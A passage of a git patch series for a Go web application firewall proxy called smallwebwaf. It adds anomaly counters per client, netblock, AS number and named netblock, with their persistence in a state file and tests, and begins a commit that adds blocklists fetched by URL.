*http.Request) { + release() + waitUntil(func() bool { + _, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32")) + + return kept + }) + }) + clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)} + addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now, + map[string]string{ + trustedProxies: trustLocalhost, + lookupTimeout: "1h", + anomalyASN + requestsPerMinute: aLot, + }) + server.Store(started) + + // The request went on without the answer, and is counted for the AS + // number it gives. + s := &sender{t: t, addr: addr, out: out} + if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" { + t.Errorf("log line has AS number %q, want none: the request waited", line.ASN) + } + + want := []anomaly.Counter{{ + Scope: anomaly.ScopeASN, ASN: asnDE, + Minute: ratelimit.Buckets{Start: clk.Now(), Current: 1}, + }} + if got := started.Anomalies.Snapshot(); !reflect.DeepEqual(got, want) { + t.Errorf("counters\n%+v\nwant\n%+v", got, want) + } +} + +func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) { + t.Parallel() + + s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{ + anomalyWatch + requestsPerMinute: aLot, + watchNets: office + ",wide=203.0.0.0/16,other=198.51.100.0/25", + }) + + // client is in office and in wide. + for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} { + s.get(from, http.StatusOK, requestlog.ActionForward) + } + + got := map[string]int64{} + for _, counter := range server.Anomalies.Snapshot() { + got[counter.Name] = counter.Minute.Current + } + + if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) { + t.Errorf("requests by named netblock %v, want %v", got, want) + } +} diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index 0ecaf13..95f889a 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -56,44 +56,23 @@ func (rq *request) limitBroken(now time.Time) bool { return over } -// countBytes counts the request's bytes for the byte limits, once its -// response has ended, and notes the client's byte totals for the log line; -// its requests stay there as the rate limits counted them. The bytes are -// the response's body bytes, the request's, or both, as SWWAF_BYTES_COUNT -// says; for an upgraded connection, such as a WebSocket, which has closed -// by then, what it carried from the app counts with the response's and -// what it carried from the client with the request's. Only a request -// passed to the app has them counted, and only one the rate limits -// counted; in observe mode, not one that enforce mode would have refused. -// Bytes that take the client over a byte limit, as its limit percentage -// for the byte limits lowers it, break it; the response was passed on -// whole. +// countBytes counts the request's bytes, as countedBytes gives them, for +// the byte limits, once its response has ended, and notes the client's +// byte totals for the log line; its requests stay there as the rate limits +// counted them. Only a request passed to the app has them counted, and +// only one the rate limits counted; in observe mode, not one that enforce +// mode would have refused. Bytes that take the client over a byte limit, +// as its limit percentage for the byte limits lowers it, break it; the +// response was passed on whole. func (rq *request) countBytes() { if !rq.counted || rq.line.WouldAction != "" { return } - response, request := rq.out.bytes, rq.requestBytes() - if rq.upgraded != nil { - response += rq.upgraded.fromApp.Load() - request += rq.upgraded.toApp.Load() - } - - var bytes int64 - - switch rq.h.config.BytesCount { - case "response": - bytes = response - case "request": - bytes = request - default: // both - bytes = response + request - } - now := rq.h.now() - counts, hit, over := rq.h.limiter.CountBytes(clientGroup(rq.client), now, bytes, - rq.bytesPercent.percent) + counts, hit, over := rq.h.limiter.CountBytes(clientGroup(rq.client), now, + rq.countedBytes(), rq.bytesPercent.percent) rq.line.Counts.MinuteBytes = counts.MinuteBytes rq.line.Counts.HourBytes = counts.HourBytes rq.line.Counts.DayBytes = counts.DayBytes @@ -103,6 +82,29 @@ func (rq *request) countBytes() { } } +// countedBytes returns the request's bytes, once it has ended, as the +// byte limits and the anomaly thresholds count them: the response's body +// bytes, the request's, or both, as SWWAF_BYTES_COUNT says. For an +// upgraded connection, such as a WebSocket, which has closed by then, what +// it carried from the app counts with the response's and what it carried +// from the client with the request's. +func (rq *request) countedBytes() int64 { + response, request := rq.out.bytes, rq.requestBytes() + if rq.upgraded != nil { + response += rq.upgraded.fromApp.Load() + request += rq.upgraded.toApp.Load() + } + + switch rq.h.config.BytesCount { + case "response": + return response + case "request": + return request + default: // both + return response + request + } +} + // banForLimit bans the client's netblock at now for a broken limit, the // one hit names, and notes the offence for the log line. status is what // the client was sent, or is sent: SWWAF_BAN_RESPONSE for a request over diff --git a/internal/proxy/biased_test.go b/internal/proxy/biased_test.go index b74c695..9f4505f 100644 --- a/internal/proxy/biased_test.go +++ b/internal/proxy/biased_test.go @@ -421,17 +421,28 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T } } -// startWithLookups is startAppWithAlerts in front of readAndAnswer, with -// the settings in env on top of clients looked up in a lookup database, -// which places fromDE and fromKP in the AS numbers and countries the -// stand-in for GeoJS gives them, noCountry in AS64500 and no country, and -// no other address. It returns the sender, the server and the queue of -// the alerts. +// startWithLookups is startWithLookupsAndClock for a test that needs no +// clock. func startWithLookups( t *testing.T, env map[string]string, ) (*sender, *proxy.Server, *alerts.Queue) { t.Helper() + s, _, server, queue := startWithLookupsAndClock(t, env) + + return s, server, queue +} + +// startWithLookupsAndClock is startAppWithAlerts in front of +// readAndAnswer, with the settings in env on top of clients looked up in a +// lookup database, which places fromDE and fromKP in the AS numbers and +// countries the stand-in for GeoJS gives them, noCountry in AS64500 and no +// country, and no other address. +func startWithLookupsAndClock( + t *testing.T, env map[string]string, +) (*sender, *clock, *proxy.Server, *alerts.Queue) { + t.Helper() + path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") lookuptest.Write(t, path, map[string]lookuptest.Network{ fromDE + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"}, @@ -442,9 +453,7 @@ func startWithLookups( settings := map[string]string{lookupSource: fileSource, lookupDBPath: path} maps.Copy(settings, env) - s, _, server, queue := startAppWithAlerts(t, readAndAnswer, settings) - - return s, server, queue + return startAppWithAlerts(t, readAndAnswer, settings) } // uploadFrom is upload from the client at from. diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index f2b5671..4df438f 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -12,6 +12,7 @@ import ( "time" "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/lookup" @@ -68,7 +69,8 @@ type Params struct { // against. Rules *rules.Files // Alerts receive the alert for each ban the proxy makes or makes - // permanent, and for GeoJS failing. + // permanent, for each count over an anomaly threshold, and for GeoJS + // failing. Alerts *alerts.Queue } @@ -81,6 +83,7 @@ type Server struct { Ledger *bans.Ledger Limiter *ratelimit.Limiter GeoJS *lookup.GeoJS + Anomalies *anomaly.Counters LookupFile *lookup.File Metrics *metrics.Metrics } @@ -117,6 +120,17 @@ func New(params Params) *Server { AttackBanDuration: params.Config.AttackBanDuration, MaxBans: params.Config.MaxBans, }), + anomalies: anomaly.New(anomaly.Params{ + Client: params.Config.AnomalyClient, + Net: params.Config.AnomalyNet, + ASN: params.Config.AnomalyASN, + Total: params.Config.AnomalyTotal, + Watch: params.Config.AnomalyWatch, + NetV4Prefix: params.Config.AnomalyNetV4Prefix, + NetV6Prefix: params.Config.AnomalyNetV6Prefix, + NamedNetblocks: params.Config.WatchNets, + Alerts: params.Alerts, + }), lookupFile: params.LookupFile, rules: params.Rules, alerts: params.Alerts, @@ -154,6 +168,7 @@ func New(params Params) *Server { Ledger: h.ledger, Limiter: h.limiter, GeoJS: h.geojs, + Anomalies: h.anomalies, LookupFile: h.lookupFile, Metrics: m, } @@ -172,6 +187,7 @@ type handler struct { limiter *ratelimit.Limiter ledger *bans.Ledger geojs *lookup.GeoJS + anomalies *anomaly.Counters lookupFile *lookup.File rules *rules.Files alerts *alerts.Queue @@ -211,6 +227,7 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { // Once the request has ended, before its log line is written. defer rq.addToHistory() + defer rq.countAnomalies() refused := rq.check(r.Context()) rq.checked = time.Now() diff --git a/internal/proxy/request.go b/internal/proxy/request.go index d5452c4..6d3c220 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -16,6 +16,8 @@ import ( "sync/atomic" "time" + "sneak.berlin/go/smallwebwaf/internal/anomaly" + "sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/requestlog" @@ -513,16 +515,14 @@ func timing(start, end time.Time) *float64 { } // addToHistory adds the request, which has ended, to its client's -// history, and then, for a client that was looked up, the lookup -// database's answer about it, or the answer from GeoJS kept about it, to -// that history and to the notes of the bans on its netblock: an answer -// may have come before either was there, and one from GeoJS that comes -// later is added when it comes. +// history, and then the lookup's answer about the client, as +// answerAtTheEnd gives it, to that history and to the notes of the bans +// on its netblock: an answer may have come before either was there, and +// one from GeoJS that comes later is added when it comes. func (rq *request) addToHistory() { forwarded := !rq.upstreamStart.IsZero() - group := clientGroup(rq.client) - rq.h.limiter.AddToHistory(group, rq.h.now(), ratelimit.Request{ + rq.h.limiter.AddToHistory(clientGroup(rq.client), rq.h.now(), ratelimit.Request{ Forwarded: forwarded, Refused: !forwarded && rq.refused.Load() != nil, Status: rq.out.status, @@ -531,23 +531,60 @@ func (rq *request) addToHistory() { BrokeLimit: rq.line.Offence == requestlog.OffenceLimit, }) - if !rq.lookedUp { - return - } - - // The lookup database's answer was there at once. - if rq.h.config.LookupSource == "file" { - rq.h.addLookup(rq.lookupAnswer) - - return - } - - answer, kept := rq.h.geojs.Kept(group) - if kept { + answer, found := rq.answerAtTheEnd() + if found { rq.h.addLookup(answer) } } +// countAnomalies counts the request, which has ended, and its bytes, as +// countedBytes gives them, for the anomaly thresholds, whatever was done +// with it: a request refused, one from a client in SWWAF_ALLOW_NETS or +// SWWAF_RATE_LIMIT_EXEMPT_NETS, and one for a path in +// SWWAF_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its +// client's AS number when answerAtTheEnd gives one. With every anomaly +// threshold off, the default, it does nothing. +func (rq *request) countAnomalies() { + if !anomalyThresholdsSet(rq.h.config) { + return + } + + answer, _ := rq.answerAtTheEnd() + + rq.h.anomalies.Count(rq.h.now(), anomaly.Request{ + Client: rq.client, + ClientGroup: clientGroup(rq.client), + ASN: answer.ASN, + ASName: answer.ASName, + Country: answer.Country, + Bytes: rq.countedBytes(), + }) +} + +// anomalyThresholdsSet reports whether any anomaly threshold is set. +func anomalyThresholdsSet(cfg *config.Config) bool { + off := anomaly.Thresholds{} + + return cfg.AnomalyClient != off || cfg.AnomalyNet != off || cfg.AnomalyASN != off || + cfg.AnomalyTotal != off || cfg.AnomalyWatch != off +} + +// answerAtTheEnd returns, for a client that was looked up, the lookup's +// answer about it as the request ends, and whether there is one: the +// lookup database's, which was there at once, or the one GeoJS has given +// by then, which a request does not wait for unless a setting needs it. +func (rq *request) answerAtTheEnd() (lookup.Answer, bool) { + if !rq.lookedUp { + return lookup.Answer{}, false + } + + if rq.h.config.LookupSource == "file" { + return rq.lookupAnswer, true + } + + return rq.h.geojs.Kept(clientGroup(rq.client)) +} + // requestBytes is how many bytes of the request's body have been read. func (rq *request) requestBytes() int64 { if rq.body == nil { diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index f184063..fa91f97 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -361,9 +361,7 @@ func (l *Limiter) Load(clients []Client, now time.Time) { for _, c := range clients { for i, w := range l.windows { for _, b := range []*Buckets{c.buckets()[i], c.byteBuckets()[i]} { - // The window that ends at now covers neither bucket once it - // begins after the bucket under way has ended. - if !now.Add(-w.length).Before(b.Start.Add(w.length)) { + if b.Passed(now, w.length) { *b = Buckets{} } } @@ -393,8 +391,8 @@ func (l *Limiter) count( ) for i, w := range l.windows { - requestCounts[i] = requestBuckets[i].add(now, w.length, requests) - byteCounts[i] = byteBuckets[i].add(now, w.length, bytes) + requestCounts[i] = requestBuckets[i].Add(now, w.length, requests) + byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes) limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent) switch { @@ -460,18 +458,18 @@ func percentOf(limit, percent int64) int64 { return limit/hundred*percent + limit%hundred*percent/hundred } -// add counts n requests, or n bytes, at now in a window of length, and -// returns the client's count in the window that ends at now: what is in -// the bucket under way, and what is in the bucket before it weighted by -// how much of that bucket the window still covers. With n zero it counts -// nothing, and returns the count. +// Add counts n requests, or n bytes, at now in a window of length, and +// returns the count in the window that ends at now: what is in the bucket +// under way, and what is in the bucket before it weighted by how much of +// that bucket the window still covers. With n zero it counts nothing, and +// returns the count. The anomaly counters count in Buckets too. // // Concurrent requests can be counted out of order, so now can be a moment // before the bucket under way began; such a request is counted in that // bucket. A request dated more than a second before it means the clock // was set back, and the buckets start afresh: otherwise the bucket before // would keep its full weight until the clock caught up. -func (b *Buckets) add(now time.Time, length time.Duration, n int64) float64 { +func (b *Buckets) Add(now time.Time, length time.Duration, n int64) float64 { if now.Before(b.Start.Add(-time.Second)) { *b = Buckets{} } @@ -496,6 +494,14 @@ func (b *Buckets) add(now time.Time, length time.Duration, n int64) float64 { return float64(b.Previous)*covered + float64(b.Current) } +// Passed reports whether the window of length that ends at now covers +// neither of b's buckets: it begins after the bucket under way has ended. +// What they hold then counts no more, and a state file read at now drops +// it. +func (b *Buckets) Passed(now time.Time, length time.Duration) bool { + return !now.Add(-length).Before(b.Start.Add(length)) +} + // add counts a response with status in its class. A status of 0, for // nothing sent, is not a response. func (r *Responses) add(status int) { diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index ee027bf..be9c446 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -201,6 +201,7 @@ func loadStateFiles( Limiter: server.Limiter, GeoJS: server.GeoJS, Alerts: alertQueue, + Anomalies: server.Anomalies, Now: now, ProcessLog: processLog, Metrics: server.Metrics, diff --git a/internal/state/state.go b/internal/state/state.go index eb1d805..6daf5c6 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -2,7 +2,8 @@ // SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes: // bans.json holds the bans, clients.json each client's counters and // history, lookups.json GeoJS's answers, and alerts.json the cooldowns, -// the hour under way and the alerts waiting for each destination. Load +// the hour under way, the alerts waiting for each destination and the +// anomaly counters. Load // reads them at start, Watch takes in an admin's edit of one while // smallwebwaf runs, and Run and WriteAll write them. The disk is read and // written outside the parts' locks, which are held only to take a @@ -29,6 +30,7 @@ import ( "github.com/fsnotify/fsnotify" "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/metrics" @@ -56,6 +58,7 @@ var ( errMissing = errors.New("has no") errCause = errors.New("is not limit, attack or admin") errDestination = errors.New("is not webhook, slack or ntfy") + errScope = errors.New("is not client, net, asn, total or watch") errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` + `destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` + `or remove the file`) @@ -70,13 +73,14 @@ type Params struct { // is (SWWAF_STATE_COUNTER_INTERVAL). WriteDelay time.Duration CounterInterval time.Duration - // Ledger, Limiter, GeoJS and Alerts hold the state. Alerts also - // receive a file_error alert for an edit set aside, and for a write - // that fails while smallwebwaf runs. - Ledger *bans.Ledger - Limiter *ratelimit.Limiter - GeoJS *lookup.GeoJS - Alerts *alerts.Queue + // Ledger, Limiter, GeoJS, Alerts and Anomalies hold the state. Alerts + // also receive a file_error alert for an edit set aside, and for a + // write that fails while smallwebwaf runs. + Ledger *bans.Ledger + Limiter *ratelimit.Limiter + GeoJS *lookup.GeoJS + Alerts *alerts.Queue + Anomalies *anomaly.Counters // Now tells the time by which the counters' buckets run out, normally // time.Now in UTC. Now func() time.Time @@ -135,11 +139,14 @@ type lookupsFile struct { } // alertsFile is alerts.json, indented for an admin to read and edit. +// +//nolint:tagliatelle // the state files use snake_case, as the request log does type alertsFile struct { - Version int `json:"version"` - Cooldowns []alerts.Cooldown `json:"cooldowns"` - Hour alerts.Hour `json:"hour"` - Waiting map[string][]alerts.Alert `json:"waiting"` + Version int `json:"version"` + Cooldowns []alerts.Cooldown `json:"cooldowns"` + Hour alerts.Hour `json:"hour"` + Waiting map[string][]alerts.Alert `json:"waiting"` + AnomalyCounters []anomaly.Counter `json:"anomaly_counters"` } // stateFile is the struct of a state file. Once the file is decoded, its @@ -420,6 +427,7 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) { f.params.Alerts.Load(alerts.State{ Cooldowns: file.Cooldowns, Hour: file.Hour, Waiting: file.Waiting, }) + f.params.Anomalies.Load(file.AnomalyCounters, f.params.Now()) for _, waiting := range file.Waiting { entries += len(waiting) @@ -522,7 +530,7 @@ func (f *Files) encode(name string) ([]byte, error) { held := f.params.Alerts.Snapshot() file := alertsFile{ Version: version, Cooldowns: held.Cooldowns, Hour: held.Hour, - Waiting: held.Waiting, + Waiting: held.Waiting, AnomalyCounters: f.params.Anomalies.Snapshot(), } data, err := json.MarshalIndent(file, "", " ") @@ -673,8 +681,9 @@ func (f *lookupsFile) check(data []byte) error { // check refuses a cooldown without its event or when its alert was sent, // which would hold back no repeat, alerts waiting for a destination with -// another name than webhook, slack or ntfy, most likely misspelt, and an -// alert waiting without its event or its time. +// another name than webhook, slack or ntfy, most likely misspelt, an +// alert waiting without its event or its time, and an anomaly counter as +// checkAnomalyCounters does. func (f *alertsFile) check([]byte) error { for i, cooldown := range f.Cooldowns { switch { @@ -700,9 +709,58 @@ func (f *alertsFile) check([]byte) error { } } + return checkAnomalyCounters(f.AnomalyCounters) +} + +// checkAnomalyCounters refuses an anomaly counter whose scope is not +// client, net, asn, total or watch, most likely misspelt, and one without +// a field it needs, as missingFromCounter tells. +func checkAnomalyCounters(counters []anomaly.Counter) error { + for i, counter := range counters { + if !slices.Contains(anomaly.Scopes(), counter.Scope) { + return fmt.Errorf("anomaly_counters entry %d's scope %q %w", i+1, + counter.Scope, errScope) + } + + field := missingFromCounter(counter) + if field != "" { + return fmt.Errorf("anomaly_counters %w", missing(i, field)) + } + } + return nil } +// missingFromCounter returns the first field counter, an anomaly counter, +// needs and has not, or "" when it has them all: what tells it from the +// others in its scope, without which it would never be counted again, the +// netblock of a client, net or watch counter, the AS number of an asn one +// and the name of a watch one; and the start of a window in which it has +// requests or bytes, without which they would be dropped. +func missingFromCounter(counter anomaly.Counter) string { + scope := counter.Scope + + switch { + case scope != anomaly.ScopeASN && scope != anomaly.ScopeTotal && + !counter.Netblock.IsValid(): + return "netblock" + case scope == anomaly.ScopeASN && counter.ASN == "": + return "asn" + case scope == anomaly.ScopeWatch && counter.Name == "": + return "name" + case countsWithoutStart(counter.Minute): + return "minute.start" + case countsWithoutStart(counter.Hour): + return "hour.start" + case countsWithoutStart(counter.MinuteBytes): + return "minute_bytes.start" + case countsWithoutStart(counter.HourBytes): + return "hour_bytes.start" + default: + return "" + } +} + // countsWithoutStart reports whether b holds requests, or bytes, but no // start, which places them in time. func countsWithoutStart(b ratelimit.Buckets) bool { diff --git a/internal/state/state_test.go b/internal/state/state_test.go index e92b54f..62ad793 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -22,6 +22,7 @@ import ( "time" "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/metrics" @@ -156,7 +157,50 @@ const filledAlertsJSON = `{ "suppressed_repeats": 0 } ] - } + }, + "anomaly_counters": [ + { + "scope": "asn", + "asn": "AS64496", + "hour_bytes": { + "start": "2026-10-06T00:00:00Z", + "current": 8, + "previous": 0 + } + }, + { + "scope": "net", + "netblock": "203.0.113.0/24", + "minute": { + "start": "2026-10-06T00:00:00Z", + "current": 1, + "previous": 0 + } + }, + { + "scope": "total", + "minute": { + "start": "2026-10-06T00:00:00Z", + "current": 1, + "previous": 0 + }, + "minute_bytes": { + "start": "2026-10-06T00:00:00Z", + "current": 8, + "previous": 0 + } + }, + { + "scope": "watch", + "netblock": "203.0.113.0/24", + "name": "office", + "hour": { + "start": "2026-10-06T00:00:00Z", + "current": 1, + "previous": 0 + } + } + ] } ` @@ -191,6 +235,8 @@ func TestFilesWrittenAndReadBack(t *testing.T) { t.Errorf("%s read back\n%+v\nwant\n%+v", alertsJSON, got, want) } + wantEqual(t, alertsJSON, after.Anomalies.Snapshot(), before.Anomalies.Snapshot()) + // Each one-per-line file lists its entries by client, and nothing // but the four files is left in the directory. wantEntries(t, filepath.Join(dir, clientsJSON), "clients", @@ -251,6 +297,49 @@ func TestSourceFailureCooldownKeptInAlertsJSONAcrossARestart(t *testing.T) { } } +func TestAnomalyCountersKeptInAlertsJSONAcrossARestart(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + request := anomaly.Request{ + Client: netip.MustParseAddr("203.0.113.9"), + ClientGroup: netip.MustParsePrefix("203.0.113.9/32"), + } + + // The whole service may have two requests a minute. + withThreshold := func() state.Params { + params := newParams(dir) + params.Anomalies = anomaly.New(anomaly.Params{ + Total: anomaly.Thresholds{RequestsPerMinute: 2}, Alerts: params.Alerts, + }) + + return params + } + + before := withThreshold() + files := load(t, before) + + for range 2 { + before.Anomalies.Count(midnight(), request) + } + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + // After the restart, the third request in the minute is over it. + after := withThreshold() + load(t, after) + after.Anomalies.Count(midnight(), request) + + waiting := after.Alerts.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 1 || waiting[0].Event != alerts.EventAnomaly || + waiting[0].Detail["count"] != float64(3) { + t.Errorf("alerts wait %+v, want one for 3 requests", waiting) + } +} + func TestBansJSONIsIndentedWithNullForAPermanentBan(t *testing.T) { t.Parallel() @@ -332,6 +421,13 @@ func TestFileThatDoesNotParseStopsTheStart(t *testing.T) { `{"version": 1, "waiting": {"webhook": [], "slak": []}}`, `: waiting "slak" is not webhook, slack or ntfy`, }, + { + "an anomaly counter of an unknown scope", alertsJSON, + `{"version": 1, "anomaly_counters": [{"scope": "total"}, ` + + `{"scope": "nett", "netblock": "203.0.113.0/24"}]}`, + `: anomaly_counters entry 2's scope "nett" is not client, net, asn, total ` + + `or watch`, + }, } { t.Run(tc.name, func(t *testing.T) { t.Parallel() @@ -455,6 +551,39 @@ func TestAlertsJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { `{"version": 1, "waiting": {"slack": [{"event": "ban"}]}}`, `: waiting slack entry 1 has no "time"`, }, + { + // The whole service's counter needs nothing to tell it apart. + "an anomaly counter of a netblock without it", + `{"version": 1, "anomaly_counters": [{"scope": "total"}, {"scope": "net"}]}`, + `: anomaly_counters entry 2 has no "netblock"`, + }, + { + "an anomaly counter of a client without its netblock", + `{"version": 1, "anomaly_counters": [{"scope": "client"}]}`, + `: anomaly_counters entry 1 has no "netblock"`, + }, + { + "an anomaly counter of an AS number without it", + `{"version": 1, "anomaly_counters": [{"scope": "asn"}]}`, + `: anomaly_counters entry 1 has no "asn"`, + }, + { + "an anomaly counter of a named netblock without its name", + `{"version": 1, "anomaly_counters": [` + + `{"scope": "watch", "netblock": "203.0.113.0/24"}]}`, + `: anomaly_counters entry 1 has no "name"`, + }, + { + "an anomaly counter of a named netblock without its netblock", + `{"version": 1, "anomaly_counters": [{"scope": "watch", "name": "office"}]}`, + `: anomaly_counters entry 1 has no "netblock"`, + }, + { + "an anomaly counter with bytes in a window without its start", + `{"version": 1, "anomaly_counters": [` + + `{"scope": "total", "hour_bytes": {"current": 5}}]}`, + `: anomaly_counters entry 1 has no "hour_bytes.start"`, + }, } { t.Run(tc.name, func(t *testing.T) { t.Parallel() @@ -1273,10 +1402,19 @@ func midnight() time.Time { // newParams returns Params for the state files in dir, with parts that // hold nothing yet. GeoJS is never asked, and the alerts, at most two an -// hour, are never sent. +// hour, are never sent. The anomaly counters count the scopes fill +// counts, with thresholds fill does not reach. func newParams(dir string) state.Params { discard := slog.New(slog.DiscardHandler) m := metrics.New(1, "app") + queue := alerts.New(alerts.Params{ + WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"}, + Events: alerts.Events(), + Cooldown: 15 * time.Minute, + MaxPerHour: 2, + Instance: "fsn1app1/gitea", + Now: midnight, + }) return state.Params{ Dir: dir, @@ -1293,13 +1431,16 @@ func newParams(dir string) state.Params { GeoJS: lookup.New(lookup.Params{ Now: midnight, ProcessLog: discard, Metrics: m, }), - Alerts: alerts.New(alerts.Params{ - WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"}, - Events: alerts.Events(), - Cooldown: 15 * time.Minute, - MaxPerHour: 2, - Instance: "fsn1app1/gitea", - Now: midnight, + Alerts: queue, + Anomalies: anomaly.New(anomaly.Params{ + Net: anomaly.Thresholds{RequestsPerMinute: 1000}, + ASN: anomaly.Thresholds{BytesPerHour: 1 << 30}, + Total: anomaly.Thresholds{RequestsPerMinute: 1000, BytesPerMinute: 1 << 30}, + Watch: anomaly.Thresholds{RequestsPerHour: 1000}, + NetV4Prefix: 24, + NetV6Prefix: 48, + NamedNetblocks: []anomaly.NamedNetblock{{Name: "office", Netblock: office()}}, + Alerts: queue, }), Now: midnight, ProcessLog: discard, @@ -1307,10 +1448,15 @@ func newParams(dir string) state.Params { } } +// office is the named netblock of the anomaly counters of newParams. +func office() netip.Prefix { + return netip.MustParsePrefix("203.0.113.0/24") +} + // fill puts a permanent ban an admin made, a ban for a broken limit and // one for a clear sign of attack, clients with counts and histories, -// GeoJS answers, and alerts, as filledAlertsJSON holds them, into the -// parts of params. +// GeoJS answers, and alerts and anomaly counters, as filledAlertsJSON +// holds them, into the parts of params. func fill(params state.Params) { now := midnight() client := netip.MustParsePrefix("203.0.113.9/32") @@ -1361,6 +1507,10 @@ func fill(params state.Params) { params.Alerts.Raise(alerts.Alert{ Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed", }) + + params.Anomalies.Count(now, anomaly.Request{ + Client: client.Addr(), ClientGroup: client, ASN: asn, Bytes: 8, + }) } // permanentBan is the ban permanentBansJSON holds. From 2b8c98ba1faf1139768c20fc1af716767a85a026 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 19:09:41 +0200 Subject: [PATCH 40/64] Blocklists and an AS percentage file fetched by URL (closes #29) SWWAF_BLOCKLIST_URLS names lists of addresses and netblocks, fetched every SWWAF_BLOCKLIST_REFRESH (24h, never under 1h); an IPv4-mapped line stands for its IPv4 address or netblock. reputation.json keeps each list's last try, failed or not, even one cut off by a stop, which a restart waits on as a running instance does, and its last good copy, whole, used while a fetch fails. SWWAF_BLOCKLIST_ACTION denies, limits or only logs a listed client; the log line names the lists, each raises reputation_hit, and a failed fetch raises source_failure. SWWAF_ASN_LIMIT_PERCENT_URL is fetched the same way and counts as SWWAF_ASN_LIMIT_PERCENT does, the lower winning. Judgement call: a failed fetch is retried after the refresh, not sooner. Not done: ban notes do not name the lists yet. Model: opus-5-5 --- README.md | 476 +++++++++++------- internal/alerts/alerts.go | 9 +- internal/config/config.go | 182 ++++++- internal/config/config_test.go | 125 ++++- internal/metrics/metrics.go | 56 ++- internal/proxy/biased.go | 51 +- internal/proxy/biased_test.go | 1 + internal/proxy/proxy.go | 22 +- internal/proxy/reputation.go | 32 ++ internal/proxy/reputation_test.go | 333 +++++++++++++ internal/proxy/request.go | 22 +- internal/reputation/export_test.go | 9 + internal/reputation/reputation.go | 499 ++++++++++++++++++ internal/reputation/reputation_test.go | 610 +++++++++++++++++++++++ internal/requestlog/requestlog.go | 5 +- internal/smallwebwaf/smallwebwaf.go | 8 +- internal/smallwebwaf/smallwebwaf_test.go | 110 +++- internal/state/state.go | 180 ++++--- internal/state/state_test.go | 180 ++++++- 19 files changed, 2588 insertions(+), 322 deletions(-) create mode 100644 internal/proxy/reputation.go create mode 100644 internal/proxy/reputation_test.go create mode 100644 internal/reputation/export_test.go create mode 100644 internal/reputation/reputation.go create mode 100644 internal/reputation/reputation_test.go diff --git a/README.md b/README.md index 7740a42..2dd9256 100644 --- a/README.md +++ b/README.md @@ -26,29 +26,33 @@ Slack and ntfy, and remote log sending. So is the stage after that: the AS number and country of every client, looked up through GeoJS or in the IPinfo Lite database file, the byte limits, the biased thresholds, lower limits for the AS numbers and countries you list, and the anomaly thresholds, alerts for -unusual traffic that refuse nothing. `smallwebwaf` passes each request to the -app and the app's answer back, unchanged, within its timeouts and size limits, -works out each client's address, looks up its AS number and country unless you -switch that off, bans a client that sends too many requests or too many bytes, -not counting those for the paths you choose, with lower limits for the clients -of the AS numbers and countries you list, refuses a client that comes from a -country you refuse or from a network you refuse, lets the networks you choose +unusual traffic that refuse nothing. So is the first part of the stage after +that: the blocklists you name by URL, which it fetches and keeps, and a file of +AS numbers' percentages, fetched the same way. `smallwebwaf` passes each request +to the app and the app's answer back, unchanged, within its timeouts and size +limits, works out each client's address, looks up its AS number and country +unless you switch that off, bans a client that sends too many requests or too +many bytes, not counting those for the paths you choose, with lower limits for +the clients of the AS numbers and countries you list, refuses a client that +comes from a country you refuse or from a network you refuse, refuses, limits or +only notes a client a blocklist you name lists, lets the networks you choose through, checks each request against the rule files and bans a client whose request is a clear sign of attack, keeps its bans, each client's counters and -history, and GeoJS's answers in 